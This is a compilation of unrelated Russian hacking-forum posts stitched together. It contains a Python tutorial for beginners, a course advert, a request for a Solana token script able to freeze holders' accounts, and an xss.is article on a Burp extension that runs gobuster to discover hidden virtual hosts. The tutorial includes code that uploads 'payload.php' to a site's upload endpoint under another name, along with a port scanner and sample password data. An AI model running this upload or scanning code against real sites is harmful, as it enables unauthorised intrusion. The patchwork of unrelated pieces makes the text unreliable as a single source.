f = open('имя файла с путем и расширением', 'режим работы с файлом', encoding='Кодировка текста')
Режимов работы с файлами несколько, но тебя интересует в основном:
Чтобы избежать проблем с путями в Windows, используй в них двойной слеш '', а также перед открывающей кавычкой пути файла ставь букву u, указывающую на то, что строка в кодировке Unicode:
Python:Copy to clipboard
f = open(u'D:\\test.txt', 'r', encoding='UTF-8')
Читать строки из файла можно методом .read():
Python:Copy to clipboard
f = open('test.txt', 'r', encoding='UTF-8')
s = f.read()
print(s)
Как вариант — можно последовательно читать из файла отдельные строки с помощью цикла for:
Python:Copy to clipboard
f = open('test.txt', 'r', encoding='UTF-8')
for x in f:
print(x)
После того как работа с файлом закончена, нужно закрыть его.
Python:Copy to clipboard
f.close()
Для работы с бинарными файлами при открытии файла добавь к режиму букву b:
Python:Copy to clipboard
f = open('myfile.bin', 'rb')
d = f.read()
print("d = ", d)
Подробнее о бинарных данных мы поговорим в одной из следующих статей.
Давай теперь попробуем создать новый текстовый файл в одном каталоге с нашим скриптом и записать в него значения каких‑то переменных.
Python:Copy to clipboard
s1 = 'Раз, два, три, четыре, пять\n'
s2 = 'Я иду сервак ломать...\n'
f = open('poems.txt', 'w', encoding='UTF-8')
f.write(s1)
f.write(s2)
f.close()
Обрати внимание, что в конце каждой строки стоит символ \n — переход на новую строку.
Допустим, ты хочешь дописать третью строчку в конец этого файла. Тут‑то и пригодится режим дозаписи!
Python:Copy to clipboard
s3 = 'Ох, устанут поднимать!\n'
f = open('poems.txt', 'a', encoding='UTF-8')
f.write(s3)
f.close()
Для открытия файлов также очень удобно использовать конструкцию with open('имя файла с путем и расширением', 'режим работы с файлом') as f, потому что благодаря слову with файл закроется автоматически и тебе не придется думать об этом.
Python:Copy to clipboard
s = 'Если вы закроете этот файл, ваш диск будет отформатирован!\nШутка\n'
with open('test.txt', 'w', encoding='UTF-8') as f:
f.write(s)
Давай научимся получать информацию с веб‑страниц. Для начала нужно установить несколько модулей. Пишем в командной строке:
pip install requests
pip install html2text
Модуль requests позволяет делать GET- и POST-запросы к веб‑страницам.
Модуль html2text служит для преобразования HTML-кода веб‑страниц в обычный текст, то есть чистит его от тегов HTML.
Импортируем наши новые модули в начале программы и попробуем получить какую‑нибудь страницу из интернета.
Python:Copy to clipboard
import requests
# Делаем GET-запрос
s = requests.get('http://xakep.ru')
# Печатаем код ответа сервера
print(s.status_code)
# Печатаем HTML-код
print(s.text)
Программа напечатает много HTML-кода, из которого состоит главная страница журнала. Но что, если тебе нужен только текст сайта, а не мешанина из тегов? Здесь поможет html2text. Он выделит из кода текст, заголовки и картинки и отдаст их уже без HTML-тегов.
Python:Copy to clipboard
import requests
import html2text
# Делаем GET-запрос
s = requests.get('http://xakep.ru')
# Код ответа сервера
print(s.status_code)
# Создается экземпляр парсера
d = html2text.HTML2Text()
# Параметр, влияющий на то, как парсятся ссылки
d.ignore_links = True
# Текст без HTML-тегов
c=d.handle(s.text)
print(c)
Кроме GET-запросов, существуют так называемые POST-запросы, которые применяются для отсылки на сервер больших текстов или каких‑то файлов. Если видишь на сайте форму, особенно с загрузкой файла, значит, скорее всего, при нажатии на кнопку «Отправить» будет сделан POST-запрос.
Библиотека requests тоже позволяет делать POST-запросы. Тебе это может пригодиться для имитации действий пользователя — например, если нужно автоматизировать работу с сайтом. Можешь даже использовать это в качестве самописного аналога Burp!
Давай посмотрим, как послать обычный POST-запрос. Предположим, на сайте site.ru существует скрипт guest.php, который POST-запросом принимает от формы имя пользователя name и сообщение message, а затем постит их в гостевую книгу.
Python:Copy to clipboard
import requests
# Переменные, которые нужно отправить POST-запросом
user = 'coolhacker'
message = 'You have beeh pwned!!!'
# Делаем POST-запрос и передаем словарь из полей
r = requests.post("http://site.ru/guest.php", data={'user': user, 'message': message})
print(r.status_code)
Теперь давай отправим запрос с файлом payload.php во вложении и теми же двумя полями формы, что и в предыдущем запросе. Файл придет на сервер под именем misc.php.
Python:Copy to clipboard
import requests
user = 'kitty2007'
message = '(* ^ ω ^)'
# Открываем файл в бинарном режиме
with open('payload.php', 'rb') as f:
# POST-запрос с отправкой файла
r = requests.post('http://site.ru/upload.php', files={'misc.php': f}, data={'user': user, 'message': message})
Осталось научиться скачивать файлы. Это во многом похоже на запрос страниц, но делать это лучше в потоковом режиме (stream=True). Также нам понадобится модуль shutil, в котором есть удобная функция copyfileobj. Она позволяет копировать содержимое двоичных файлов — в нашем случае из интернета к нам на диск.
Python:Copy to clipboard
import requests
import shutil
import os
# Файл, который надо скачать
s = 'https://xakep.ru/robots.txt'
# С помощью функции os.path.split(s) вытаскиваем из строки путь к файлу и его имя
dirname, filename = os.path.split(s)
# GET-запрос в режиме stream=True для скачивания файла
r = requests.get(s, stream=True)
# Если ответ сервера удачен (200)
if r.status_code == 200:
# Создаем файл и открываем его в бинарном режиме для записи
with open(filename, 'wb') as f:
# Декодируем поток данных на основе заголовка content-encoding
r.raw.decode_content = True
# Копируем поток данных из интернета в файл с помощью модуля shutil
shutil.copyfileobj(r.raw, f)
Коды ответа сервера помогают понять, как прошел запрос. Код 200 означает, что сервер успешно обработал запрос и отдал нам ответ, код 404 — страница не была найдена, 500 — внутренняя ошибка сервера, 503 — сервер недоступен и так далее. Полный список кодов ты найдешь в Википедии.
Прежде чем разбирать более реальный пример, я должен показать тебе еще одну языковую конструкцию, которая незаменима при работе с файлами и сетью. Это обработка исключительных ситуаций, то есть ошибок.
Часто при работе программы компьютер сталкивается с разными проблемами. Например, файл не найден, сеть недоступна, кончилось место на диске. Если программист об этом не позаботился, то интерпретатор Python просто завершит работу с ошибкой. Но есть способ предусмотреть неурядицы прямо в коде и продолжать работу — конструкция try... except.
Выглядит она вот так:
Python:Copy to clipboard
try:
# Тут какие-то команды,
# которые могут привести к ошибке
except:
# Наши действия, если ошибка произошла
Можно ловить конкретные типы ошибок, если после слова except указать название типа. К примеру, KeyboardInterrupt срабатывает, если пользователь пытается завершить программу, нажав Ctrl-C. В нашей власти запретить это делать!
Да что там, мы можем даже разрешить делить на ноль, если отловим ошибку ZeroDivisionError. Вот как это будет выглядеть:
Python:Copy to clipboard
try:
k = 1 / 0
except ZeroDivisionError:
k = 'over 9000'
print(k)
Полный список видов исключений
А теперь мы напишем собственный сканер портов! Он будет простеньким, но вполне рабочим. Поможет нам в этом модуль socket, где реализована работа с сокетами.
Cокет — это интерфейс обмена данными между процессами. Существуют клиентские и серверные сокеты. Серверный сокет слушает определенный порт в ожидании подключения клиентов, а клиентский подключается к серверу. После того как было установлено соединение, начинается обмен данными.
Вот как будет выглядеть код.
Python:Copy to clipboard
import socket
# Список портов для сканирования
ports = [20, 21, 22, 23, 25, 42, 43, 53, 67, 69, 80, 110, 115, 123, 137, 138, 139, 143, 161, 179, 443, 445, 514, 515, 993, 995, 1080, 1194, 1433, 1702, 1723, 3128, 3268, 3306, 3389, 5432, 5060, 5900, 5938, 8080, 10000, 20000]
host = input('Введи имя сайта без http/https или IP-адрес: ')
print ("Ожидай, идет сканирование портов!")
# В цикле перебираем порты из списка
for port in ports:
# Создаем сокет
s = socket.socket()
# Ставим тайм-аут в одну cекунду
s.settimeout(1)
# Ловим ошибки
try:
# Пробуем соединиться, хост и порт передаем как список
s.connect((host, port))
# Если соединение вызвало ошибку
except socket.error:
# тогда ничего не делаем
pass
else:
print(f"{host}: {port} порт активен")
# Закрываем соединение
s.close
print ("Сканирование завершено!")
Как видишь, ничего сложного!
Code:Copy to clipboard
Иван Иванов|ivanov@mail.ru|Password123
Дима Лапушок|superman1993@xakep.ru|1993superman
Вася Пупкин|pupok@yandex.ru|qwerty12345
Фродо Бэггинс|Frodo@mail.ru|MoRdOr100500
Кевин Митник|kevin@xakep.ru|dontcrackitplease
Юзер Юзерович|uswer@yandex.ru|aaaa321
Программа должна сортировать строки по доменам из email, для каждого домена создавать файл и в каждый файл помещать список почтовых адресов.
На сегодня всё. Из следующей статьи ты узнаешь, как работать с файловой системой ОС, разберешься с функциями, познаешь силу регулярных выражений и напишешь простой сканер SQL-уязвимостей. Не пропусти!
Автор: Иван Сараев
Название: Анализ Данных на Python (2021)
Автор: Gleb Mikhaylov
Описание:
Чему вы научитесь
Анализ данныx на Python
Google Colab
Сводные таблицы
Exploratory Data Analysis
Требования
Не требует никаких предварительных знаний
Описание
Всем привет! Меня зовут Глеб Михайлов, я аналитик и дата саентист с 10-ти
летним стажем. В этом мастер-классе я показываю свои лучшие наработки за 10
лет работы с данными и 3 года преподавания. Чтобы начать анализировать данные
тебе понадобится только компьютер с интернетом -- мы будем работать в Google
Colab (это бесплатный облачный сервис Google для анализа данных).
Узнай как предобрабатывать данные, строить сводные таблицы, искать связи в данных. Узнай когда использовать графики и когда нет, и как правильно оформлять свою работу. Когда можно и когда нельзя применить корреляцию? В чем отличие категориальных переменных от непрерывных?
Мастер-класс будет полезен и абсолютным новичкам в анализе данных, и начинающим профессионалам, и даже людям с опытом. Если ты уже умеешь анализировать данные на Python, то тебе будет очень полезно посмотреть этот мастер-класс, чтобы укрепить свои знания, а так же исправить возможные ошибки.
Мастер-класс состоит исключительно из практических примеров -- я буду с нуля кодить все в каждом видео, и ты сможешь повторить тоже самое. А так же ты сможешь скачать все примеры и весь код и использовать в своей работе.
Приемы анализа данных я буду разбирать на датасете German Credit Data -- это открытые данные о заемщиках немецкого банка. Мы определим взаимосвязи в данных и поймем почему заемщики не возвращают кредиты.
Научись анализировать данные на python, как профессионал прямо сейчас!
Для кого этот курс:
Все кто интересуется анализом данных
P.S. Нет возможности восстанавливать ссылку. Сам скачал по запросу дай другому скачать ( восстанови ссылку )
Привет! Есть идея для скрипта которую хочу реализовать, но проблема в моем незнании и библиотека кривая.
Крч, надо создать аккаунт в сети Солана, создать токен на нем с возможностью заморозки аккаунтов, после передать права на другой акк который мы еще раз создали и еще функция по заморозке, в которую просто адрес передаешь
Помогите написать
Автор petrinh1988
Источник https://xss.is
Какими бы хорошими сканерами не обладал Burp, есть огромная куча инструментов, которые лучше выполняют точечные задачи или позволяют развить атаку. Например, в Burp нет и десятой доли мощи от того же sqlmap. Поэтому, в сообществе появилось соответствующее расширение, которое позволяет интегрировать sqlmap в Burp. Но есть и другие специализированные инструменты, которые было бы неплохо научиться встраивать в инфраструктуру Burp, Один из них, gobuster. В этой статье займемся частичной интеграцией. Почему частичной? Потому что по аналогии вы сможете самостоятельно расширить интеграцию, добавляя однотипные функции. В ином случае, получится полотнище из серии “то да потому”, без смысловой нагрузки.
В этой статье, мы научимся запускать сторонние утилиты и обрабатывать их вывод в рамках расширения Burp. Для примера приведу два варианта запуска. Один из которых нужен скорее для примера, а может быть кому-то подойдет, как база для доведения до идеала. Кроме того, построим интерфейс на базе закладок, а также познакомимся с другими элементами интерфейса, например, выбором файлов. Но главное, для построения интерфейса будем использовать Apache NetBeans 22. Это бесплатная IDE для разработки на Java, которая поможет быстро и удобно собрать нужные формы в конструкторе, а после выгрузить их в виде кода. Тем самым, сильно сократив время разработки и почти полностью исключив ад)))
По сути, под vhost я буду подразумевать субдомен, не имеющий DNS-записи. Не получится зайти на него в браузере используя URL типа http://VHOST.domain.com, так как общедоступный DNS не знает IP-адрес связанный с этим хостом. Хотя, по факту, сам виртуальный хост существует и мы можем обратиться к нему по прямому IP или через домен, указав правильный заголовом Host.
Для понимания. Чтобы находить виртуальные хосты при помощи ffuf, строка запуска будет выглядеть примерно так ffuf -w /path/to/vhost/wordlist -u https://target -H "Host: FUZZ.target".
Ну или на примере библиотеки requests Python:
Python:Copy to clipboard
import requests
response = requests.get('https://subdomain.example.com/')
Подобный запрос спокойно получает ответ от поддомена, но получит ошибку “Failed to resolve 'subdomain.example.com' ([Errno 11001] getaddrinfo failed)” если речь идет о виртуальном хосте. К vhost получится обратиться подобным способом:
Python:Copy to clipboard
import requests
response = requests.get('https://example.com/', headers={'Host': 'subdomain.example.com'})
Подобный подход позволяет владельцам ресурсов скрывать чувствительные поддомены от прямого фаззинга или индексации поисковыми роботами. В обоих случаях, в ответ прилетит ошибка. Бывает, что владелец сайта просто снес DNS- запись на поддомен, считая, что он теперь недоступен. В любом случае, это еще один возможный вектор атаки.
Соответственно, у gobuster есть специальный режим поиска vhost, запускается следующим образом:
Bash:Copy to clipboard
gobuster vhost [flags]
Думаю, что в целом задача ясна, просто обговорим детали. Нам потребуется интерфейс, в котором мы настроим все параметры для запуска gobuster. Читай все аргументы типа поиска “vhost”
Spoiler: Список аргументов
Bash:Copy to clipboard
Flags:
--append-domain Append main domain from URL to words from wordlist. Otherwise the fully qualified domains need to be specified in the wordlist.
--client-cert-p12 string a p12 file to use for options TLS client certificates
--client-cert-p12-password string the password to the p12 file
--client-cert-pem string public key in PEM format for optional TLS client certificates
--client-cert-pem-key string private key in PEM format for optional TLS client certificates (this key needs to have no password)
-c, --cookies string Cookies to use for the requests
--domain string the domain to append when using an IP address as URL. If left empty and you specify a domain based URL the hostname from the URL is extracted
--exclude-length string exclude the following content lengths (completely ignores the status). You can separate multiple lengths by comma and it also supports ranges like 203-206
-r, --follow-redirect Follow redirects
-H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
-h, --help help for vhost
-m, --method string Use the following HTTP method (default "GET")
--no-canonicalize-headers Do not canonicalize HTTP header names. If set header names are sent as is.
-k, --no-tls-validation Skip TLS certificate verification
-P, --password string Password for Basic Auth
--proxy string Proxy to use for requests [http(s)://host:port] or [socks5://host:port]
--random-agent Use a random User-Agent string
--retry Should retry on request timeout
--retry-attempts int Times to retry on request timeout (default 3)
--timeout duration HTTP Timeout (default 10s)
-u, --url string The target URL
-a, --useragent string Set the User-Agent string (default "gobuster/3.6")
-U, --username string Username for Basic Auth
Global Flags:
--debug Enable debug output
--delay duration Time each thread waits between requests (e.g. 1500ms)
--no-color Disable color output
--no-error Don't display errors
-z, --no-progress Don't display progress
-o, --output string Output file to write results to (defaults to stdout)
-p, --pattern string File containing replacement patterns
-q, --quiet Don't print the banner and other noise
-t, --threads int Number of concurrent threads (default 10)
-v, --verbose Verbose output (errors)
-w, --wordlist string Path to the wordlist. Set to - to use STDIN.
--wordlist-offset int Resume from a given position in the wordlist (defaults to 0)
Соответственно, под параметры потребуются разные компоненты Java.Swing. Где-то текстовая строка, например, для указания имени пользователя и пароля. Где-то флажок, например, для -follow-redirect. Выпадающий список для выбора типа запроса (GET, POST, etc.). Окно выбора файла для словаря или сертификата. Прогрессбар для отслеживания статуса процесса. В общем, будет с чем потренироваться. Сам интерфейс реализуем на базе Tab-ов, чтобы не возникло заморочек, если захотите расширить возможности расширения.
Стартовый URL предлагаю задавать, как просто вводом текста, так и через контекстное меню. Например, зашел пользователь в Target и кликнул на карте сайта “Искать vhosts”. Для пользования удобно и нам лишняя тренировка.
Что касается получения результатов. Хотелось бы, чтобы все происходило интерактивно и найденные виртуальные хосты, сразу добавлялись на карту сайта. С этой целью, будет считывать вывод gobuster. Примерно такой принцип работы: пользователь указал все настройки и нажал кнопку “начать сканирование”. Приложение поменяло свое состояние. С этого момента, слушаем поток вывода данных и поток ошибок. Каждую строку анализируем регулярными выражениями. Если нашли новый поддомен и у него подходящий код ответа, то вызываем метод добавления на карту сайта.
На мой взгляд, задача достаточно интересная и набор приобретаемых навыков крайне полезный. На выходе получим уже второе полноценное решение (или третье?).
Я все делать буду на Windows, хотя нет никаких проблем все повторить в Linux. Для начала пару слов про установку gubouster, если еще не установлен. Качаем последний релиз отсюда. Распаковываем в любую папку, добавляем в системные переменные и, на всякий случай, в исключения антивируса Windows. Запускаем cmd и проверяем работоспособность, вызвав gobuster –help. Обычно проблем не возникает.
Как и писал выше, интерфейс будем собирать в Apache NetBeans. Скачать его можно здесь Особых каких-то настроек не требуется, все ставлю по дефолту.
Писать интерфейс руками это ад адский. Один раз мы через него прошли, думаю этого достаточно. В этот раз будем работать в удобной IDE.
Запускаем, выбираем “New Project”. Тип проекта “Maven” -> Java Application.
Все довольно стандартно. Имя проекта указываю GobusterTools. Group id вписываю com.xss_articles. Хотя по сути, все это нам особо и не потребуется. Но для порядка стоит указать, если будет много проектов, потом проще будет вспомнить.
Наш проект создан самое время добавить форму. Для этого слева кнопаем правой щелкой по нашему пакету и выбираем: New -> JPanel Form…
В появившемся окне не важно какое название мы дадим форме, но для простоты называю pnlMain.
Все приготовления завершены, перед нами рабочее пространство из пяти основных зон:
Это большая часть информации, которая потребуется для работы в NetBeans.
Первым делом, как и в прошлый раз, разобьем интерфейс. Сделаем красивый стилизованный header с логотипом любимого XSS.is, остальное поместим в центральную часть. Соответственно, наиболее удобный менеджер пространства это BorderLayout. Иду в рабочую зону №2, жму по нашей панельке правой кнопкой и выбираю:
После чего, панелька поделилась на части. Пока виртуально. В рабочей зоне №4 (справа вверху), нахожу компонент Panel и тащу его в верхнюю часть формы, ищу вот такое выделение рабочих зон:
Отлично! Панелька добавилась. Новой панельке задаю лэйаут FlowLayout и перекидываю компонент Label. Это будет логотип XSS.id, а для этого потребуются еще кой какие действия. Кстати, если не увидели Label в рабочей зоне №4, просто разверните список Swing Controls. Когда Label добавлен, в его свойствах (зона №5), находим “icon” и жмем на кнопку с тремя точками.
В появившемся окне, жму “Import to Project…”, нахожу файл на диске и со всем соглашаюсь. После вижу картинку загруженную в окно. Жму ок. Картинка добавилась, теперь надо кликнуть дважды по надписи “jLabel1” и удалить ее.
Теперь накинем нее еще одну панельку, которая нужна будет для отображения названия и описания нашего расширения. Для этого тащим новую панель из окна компонентов (№4). Тащим к нашему логотипу и размещаем справа. Так как у нас установлен FlowLayout, компоненты размещаются рядо друг с другом. Этой панельке задаю BoxLayout и справа (зона №5). Далее выделяю BoxLayout в зоне №2 (именно сам BoxLayout, а не Panel) и справа указываю свойство “Axis” как “Y Axis”. Таким образом, все что разместиться на этой панельке, будет размещаться друг под другом.
Выделил не только все нужные нам свойства и объекты, но и обозначил пунктиром, где должна быть наша панелька. На нее надо “сбросить” два Label. Один будет нашим названием, второй коротким описанием.
Если в зоне №2 непорядок и лейблы разместились не так, как нужно — хватайте их мышью прямо там и перетаскивайте в нужный Layout. По итогу, картинка должна выглядеть именно так. Осталось задать соответствующие свойства. А именно:
Должно получиться примерно так:
Рассматривать такую подробную настройку для каждого компонента не вижу смысла. Дальше буду писать общими чертами, но подробно остановлюсь на формировании гридов. Там есть некоторые особенности в построении, которые не стоит упускать.
Кстати, для удобства можно работать с каждой панелью отдельно. Для этого, слева внизу ( №2) надо дважды кликнуть по нужной панельке. Тогда отключится все остальное и мы можем спокойно настраивать отдельную панель:
Самое время заняться центральной частью. Для этого хватаю еще одну панель и тащу ее на форму. Нужно добиться вот такого выделения:
Этой панельке задаю GridBagLayout.
В чем суть? Я хочу разбить область на логические части в которых объединю параметры по смыслу. Например, все что касается авторизации, будет отдельной панелькой. Все, что касается настроек домена будет отдельно панелью. Настройки User-Agent тоже отдельно и т.д. Перечислим все панельки, которые потребуются, а также распределю по ним опции:
Получилось шесть панелек. Но они будут отличаться по размеру. Нужно будет как- то более-менее распределить их. Но сначала, просто накидаем все панельки на центральную область, чтобы они добавились все под наш GridBagLayout. Пока добавляем их, чтобы понять принципы формирования областей. После чего, кликаем правой кнопкой по GridBagLaout и выбираем Customize.
В данном конструкторе, можно спокойно хватать панельки и перетаскивать. Таким образом можно перестроить первоначальную сетку нужным образом. По факту, проходит настройка объекта GridBagConstraints, который управляет GridBagLayout менеджером. Помимо самой сетки и перетаскивания по ней, пользователю доступны настройки отступов и позиционирования, а также следующие параметры:
Для примера настройки параметров, раскрасил панели в разные цвета и на
Вдоволь наигравшись с панеками, удаляем их. Далее надо выделить GridBagLayout и справа в свойствах (зона №5) все свойства (Column Widths, Row Heights, etx) обнулить. После чего можно снова зайти в кастомизацию и уже приступить к построению интерфейса. Интерфейс расширять можно прямо из окна кастомизации, нажав правой кнопкой по сетке и выбрав “Add component”
Наконец, накидываем всю необходимую нам сетку компонентов. Не забываем назначать компонентам адекватные имена, нам с ними еще работать и работать. Ну и сохранять периодически не забывайте.
В результате манипуляций, на выходе получилось 830 строчек Java-кода. Пихать это добро в один файл с другим кодом довольно сомнительное занятие. Проще вынести весь GUI в отдельный класс, отдельный файл и передавать ему все необходимые для работы данные.
Копирую строки, начиная со строки после private void initComponents() и до добавления интерфейса к pnlMain. К слову, в Java-коде pnlMain это текущий класс, нужно не забыть внести коррективы.
Для упрощения переноса, импортирую не компоненты в отдельности, а сразу пакетами swing и awt из javax и java, соответственно. Тогда можно javax.swing просто заменить на swing, ну и с awt та же история. Далее нужно избавиться от точки с запятой, а так же от комментариев. Комментарии ищу простой регуляркой “//.*”. Так же, заменяю все “ new” на пустоту. Оператор new с ведущим пробелом можно заменять все одним скопом, а вот “new “ меняю просматрива каждый вариант, мало ли… Оборачиваю весь код в класс и функцию createGUI(). На этом моменте большинство “красноты” исчезло. Остается только найти и по- удалять листенеры событий, конструкции по типу “<>”, поправить заполнение комбобокса в конструктора, добавить явное указание pnlMain и возврат этой же панели. Не забываем про то, что нужно поменять импорт и установку картинки на следующий код:
Python:Copy to clipboard
import os
print(os.getcwd())
path = os.getcwd()
imgLogo = swing.ImageIcon(os.path.join(path, 'logo_xss.png'))
lblLogo = swing.JLabel(imgLogo)
Покопавшись немного в коде, поменяв всю красноту и бегло пробежавшись, в итоге загружаю расширение в Burp:
В принципе, все круто. За исключением того, что я хотел обернуть интерфейс в табы. Помните, в самом начале писал, что хочу сделать задел чтобы потом можно было расширять функционал расширения и каждый мог дописать сам модули, которые ему требуются. Ну или сам в последующих материалах добью расширение до 100% покрытия gobuster. В любом случае, нужно познакомить вас с табами. По сути, там ничего сложного. Просто в самом конце файла интерфейс, вместо добавления pnlBody к pnlMain вставляю промежуточное звено:
Python:Copy to clipboard
tbsMain = swing.JTabbedPane()
lblDir = swing.JLabel('Dir')
lblDns = swing.JLabel('DNS')
tbsMain.addTab('Dir', lblDir)
tbsMain.addTab('DNS', lblDns)
tbsMain.addTab('Vhost', pnlBody)
pnlMain.add(tbsMain, awt.BorderLayout.CENTER)
JTabbedPane — это компонент, который реализует возможность добавлять закладки в интерфейс. Делается это через addTab(), с указанием имени и компонента, который будет на табе. Первые два таба просто с надписями, т.к. они лишь гости в этой статье. Последний таб, это уже весь наш интерфейс.
Познакомимся с работой с диалоговыми окнами, реализуем интерфейс выбора файлов, а именно словаря. Для этого слегка подготовим код. Во-первых, объявлю переменную в которую положу путь к словарю. Во-вторых, pnlMain перенесу на уровень класса, чтобы был доступ. Нам потребуется ссылка на родительское окно при вызове диалогова окна. Также поступлю с lblWLPath, чтобы была возможность в интерфейсе вывести путь. Ну и, конечно же, скорректируем код кнопки “Choose”. У меня она называется “btnChooseWL”. Для начала изменю конструктор, передав в него надпись на кнопке и функцию обработки клика через параметр actionPerformed. Не забудьте удалить кусок “btnChooseWL.setText("Choose")”. Билдер интерфейсов нагенерил нам много ненужного кода, но вы уже и сами видели…
Python:Copy to clipboard
class GUITab(ITab):
wordlistFile = None
...
btnChooseWL = swing.JButton('Choose', actionPerformed =
...
self.onclickChooseFile)
...
def onclickChooseFile(self, event):
fileDialog = swing.JFileChooser()
filterExt = swing.filechooser.FileNameExtensionFilter("wordlists", ["txt", "csv", "lst"])
fileDialog.addChoosableFileFilter(filterExt)
selectedFile = fileDialog.showDialog(self.pnlMain, "Wordlist")
if selectedFile == swing.JFileChooser.APPROVE_OPTION:
file = fileDialog.getSelectedFile()
self.wordlistFile = file.getPath()
self.lblWLPath.setText(file.getPath())
print('Selected wordlist: ' + self.wordlistFile)
Перезагружаю расширение, запускаю, жму кнопку и… нифига не работает… почему? Потому что забыл добавить один нужный импорт. Без него, интерпретатор не видит filechooser и, соответственно, FileNameExtensionFilter…
Python:Copy to clipboard
from javax.swing.filechooser import FileNameExtensionFilter
Вот теперь можно свободно выбирать интересующий нас словарь:
Что же, последние приготовления перед переходом к главному. А именно, перетащить все переменные ссылающиеся на текстовые поля и чекбоксы в self. У меня все текстовые поля начинаются с “txt”, а значит должно сработать простая замена: Так же с checkbox (chk) и т.д.
Действия на кнопки мы привяжем позже. Теперь все красиво, можно на время отложить наше расширение в сторону и поговорить о главном функционале..
Нам потребуется запустить подпроцесс с возможностью контролировать выходной поток данных и поток ошибок. По идее, для этого, есть две альтернативы: стандартный вариант с subprocess Python и вариант с Java Runtime.exe(). Важно подчеркнуть, что здесь область моего незнания. Может я поверхностно подошел к данному вопросу, но я не нашел полноценного человеческого сравнения этих двух подходов. Такое ощущение, что никому в голову не пришло сравнить запуск стороннего приложения из Java и Python (сарказм).
Могу лишь отметить, что большинство расширений Burp с открытым исходным кодом, используют именно Java Runtime. И возможно, потому что при использовании subprocess, Burp перестанет реагировать на любые действия пользователя, пока не будет завершен запущенный подпроцесс. Повторюсь, возможно что-то упустил. Работа с подпроцессами в Python, это достаточно большой раздел, который, так уже сложилось, мне ранее не особо требовался. Для примера набросал простое расширение, которое запускает gobuster из контекстного меню. Без настроек, просто кликаем по любому объекту содержащему IHttpRequestResponse, например по таргету в Target, после чего оно запустит подряд три вызова gobuster. Три вызова,чтобы были разные примеры вывода: сначала вывод справки, потом ошибки, далее запуск скана таргета. Обращаю внимание! Этот файл положите отдельно от того, что мы делали выше. Мы еще вернемся к интерфейсу, пока просто побалуемся.
Python:Copy to clipboard
from burp import IBurpExtender, IContextMenuFactory
from javax.swing import JMenuItem
import time
import subprocess
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, cb):
self._cb = cb
cb.registerContextMenuFactory(MyContextMenu(cb))
class MyContextMenu(IContextMenuFactory):
def __init__(self, cb):
self._cb = cb
self._helpers = cb.getHelpers()
def createMenuItems(self, invocation):
menuItem1 = JMenuItem("Run Gobuster", actionPerformed=self.menuClick)
httpService = invocation.getSelectedMessages()[0].getHttpService()
self.url = httpService.getProtocol() + '://' + httpService.getHost()
port = str(httpService.getPort())
if not port is None and not port in ['80', '443']:
self.url += ':' + str(httpService.getPort())
return [menuItem1]
def menuClick(self, event):
cmd = 'gobuster --help'
self.runSubprocessAndWait(cmd)
cmd = 'gobuster vhostmost --help'
self.runSubprocessAndWait(cmd)
cmd = 'gobuster vhost -u ' + self.url + ' --append-domain -w=E:\\SecLists\\Discovery\\DNS\\subdomains-top1million-5000.txt -q'
self.runSubprocessAndWait(cmd)
def runSubprocessAndWait(self, cmd):
self.proc = subprocess.Popen(cmd , stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while(self.proc.poll() is None):
print('RUNNING OUT')
print(self.proc.stdout.readline())
print('RUNNING ERROR')
print(self.proc.stderr.readline())
time.sleep(1)
print('PROCESS END')
Не забудьте поменять путь к словарю, в данном случае захардкожен путь к моему SecLists. В остальном, расширение боль-мень автономное.
После запуска, в диспетчере задач появился наш экземпляр запущенного gubuster. Как только наступает момент чтения потока, Burp замирает. Отомрет только когда завершиться. После завершения, наше расширение прочитает потоки вывода и ошибок, выведет результат. Попытки обернуть чтение в отдельный поток Thread, результата не дали. Полностью блокируется ввод/вывод всего Burp. Если вам комфортнее писать расширение максимально на Python, у вас два пути - либо выводить результаты работы в файл и проверять состояние функцией .poll() (если None, поток еще работает), либо искать вариант как читать потоки без блокировки.
Вероятно дело в том, что наш проект Jython проходит прекомпиляцию в Java .class и по факту работает не как скрипт Python. Где-то по этому пути теряется возможность параллельного чтения потоков ввода/вывода. Перепишу все основываясь на доступных классах Java, чтобы работало без замираний.
Python:Copy to clipboard
from burp import IBurpExtender, IContextMenuFactory
from java.lang import Runtime
from javax.swing import JMenuItem
from java.lang import Runtime
from java.lang import Process
from java.lang import System
from java.lang import Runnable
from java.lang import Thread
from java.io import File
from java.io import Reader
from java.io import BufferedReader
from java.io import InputStreamReader
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, cb):
self._cb = cb
cb.registerContextMenuFactory(MyContextMenu(cb))
class StreamGobbler(Runnable):
def __init__(self, inStream):
self.inStream = inStream
return
def run(self):
try:
isr = InputStreamReader(self.inStream)
br = BufferedReader(isr)
line=br.readLine()
while (not line is None):
line = br.readLine()
print(line)
except BaseException as ex:
print('Could not read input/output/error buffer\n')
class MyContextMenu(IContextMenuFactory):
def __init__(self, cb):
self._cb = cb
self._helpers = cb.getHelpers()
def createMenuItems(self, invocation):
menuItem1 = JMenuItem("Search VHOSTs", actionPerformed=self.menuClick)
return [menuItem1]
def menuClick(self, event):
cmd = 'gobuster --help'
self.runSubprocessAndWait(cmd)
cmd = 'gobuster vhostmost --help'
self.runSubprocessAndWait(cmd)
cmd = 'gobuster vhost -u https://example.com --append-domain -w d:\\subdomains-top1million-5000.txt -q'
self.runSubprocessAndWait(cmd)
def runSubprocessAndWait(self, cmd):
execMethod = getattr(Runtime.getRuntime(), "exec")
run_command = cmd.split(' ')
self._process = execMethod(run_command, None, File('d:\\gobuster_Windows_x86_64\\'))
self.errorGobbler = Thread(StreamGobbler(self._process.getErrorStream()))
self.outputGobbler = Thread(StreamGobbler(self._process.getInputStream()))
self.errorGobbler.start()
self.outputGobbler.start()
Вся магия происходит в методе runSubprocessAndWait(). Метод getRuntime() класса Runtime, как бы это странно не звучало (сарказм), предоставляет нам доступ к среде выполнения. Из всего обилия, нас интересует метод exec(). По факту, мы могли бы просто использовать Runtime.getRuntime().exec(). Но читаемость не самая лучшая, для примера не годится. Поэтому, через getattr() получаю этот метод в переменную execMethod, после чего выполняю вызов.
